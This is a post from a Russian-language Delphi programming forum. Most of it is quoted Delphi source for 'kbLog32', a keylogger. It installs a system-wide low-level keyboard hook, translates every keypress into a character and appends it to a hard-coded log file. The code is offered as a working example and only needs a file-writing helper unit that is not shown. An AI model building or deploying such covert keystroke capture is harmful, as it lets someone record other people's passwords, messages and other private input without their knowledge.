Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 18.12.2019, 18:05   #1
Alar
Александр
Администратор
 
Аватар для Alar
 
Регистрация: 28.10.2006
Сообщений: 17,758
По умолчанию

Взято из темы

По умолчанию Консоль поверх других программ


Цитата:
Вот вам простой пример работающий без DLL (правда только в WINNT)
Код:
unit kbLog32;
interface
uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs,TFilerSrc, StdCtrls;
const WH_KEYBOARD_LL = 13; crlf = #$0D#$0A;

type
 TKBDLLHOOKSTRUCT = packed record
    vkCode      :DWORD;
    scanCode    :DWORD;
    flags       :DWORD;
    time        :DWORD;
    dwExtraInfo :pointer;
 end;
 PKBDLLHOOKSTRUCT = ^TKBDLLHOOKSTRUCT;

  TKbdFrm = class(TForm)
    procedure FormCreate(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  KbdFrm: TKbdFrm;
  kHook : cardinal;
  Filer : TFileManager;
implementation
{$R *.dfm}
function GetChar(lparam: integer): string;
var
 data : PKBDLLHOOKSTRUCT;
 keystate: TKeyboardState;
 retcode: Integer;
 l : hkl;
begin
 data := pointer(lparam);
 GetKeyboardState(keystate);
 l :=GetKeyBoardLayout(GetWindowThreadProcessId( GetForegroundWindow ));
 SetLength(Result, 2) ;
 retcode := ToAsciiEx(data.vkCode,data.scanCode,keystate, @Result[1],0,l);
 case retcode of
   0: Result := '';
   1: SetLength(Result, 1) ;
   else Result := '';
 end;
end;
(*==============================================================================================*)
Function sGetLastError:string;
var
 err:dword;
 buf:pchar;
begin
 err:=GetLastError;
 FormatMessage(FORMAT_MESSAGE_FROM_SYSTEM or FORMAT_MESSAGE_ALLOCATE_BUFFER,nil,err,0,@buf,0,nil);
 result:=string(buf);
 LocalFree(cardinal(buf));
end;
(*==============================================================================================*)
function KbdProc(code: integer; wparam: integer; lparam: integer):Integer; stdcall;
begin
 if (code < 0) or (code <> HC_ACTION) then result := 0 else
  begin
   if wParam = wm_keydown then
    begin
     // запись в файл
     Filer.WriteBuf('d:\dia\ownprojects\kLogger\test.txt',PChar(GetChar(lparam)));
     // Filer - что то типа "писателя в файлы"  =)
    end;
   if wParam = wm_syskeydown then
    begin
     // обработай сам если надо
    end;
   Result:=0;
  end;
end;
(*==============================================================================================*)
procedure TKbdFrm.FormCreate(Sender: TObject);
begin
 kHook := SetWindowsHookEx(WH_KEYBOARD_LL,@KbdProc,HInstance,0);
 if kHook <> INVALID_HANDLE_VALUE then
  begin
   Filer := TFileManager.Create;
   Filer.WriteBuf('d:\dia\ownprojects\kLogger\test.txt','Log started'+crlf);
  end ;
end;
(*==============================================================================================*)
procedure TKbdFrm.FormDestroy(Sender: TObject);
begin
 if kHook <> INVALID_HANDLE_VALUE then
  begin
   UnhookWindowsHookEx(kHook);
   Filer.WriteBuf('d:\dia\ownprojects\kLogger\test.txt',crlf+'Log finished');
  end;
end;
(*==============================================================================================*)
end.

Последний раз редактировалось Alar; 18.12.2019 в 18:08. Причина: скопировал в отдельную тему для поисковиков.
Alar вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
hook на установку Hook'a Den7656 Win Api 3 16.11.2011 00:03
Нужен грамотный совет! miraclecome Свободное общение 12 01.08.2009 00:04
Хук (hook) на клавиатуру eoln Win Api 17 03.05.2008 18:35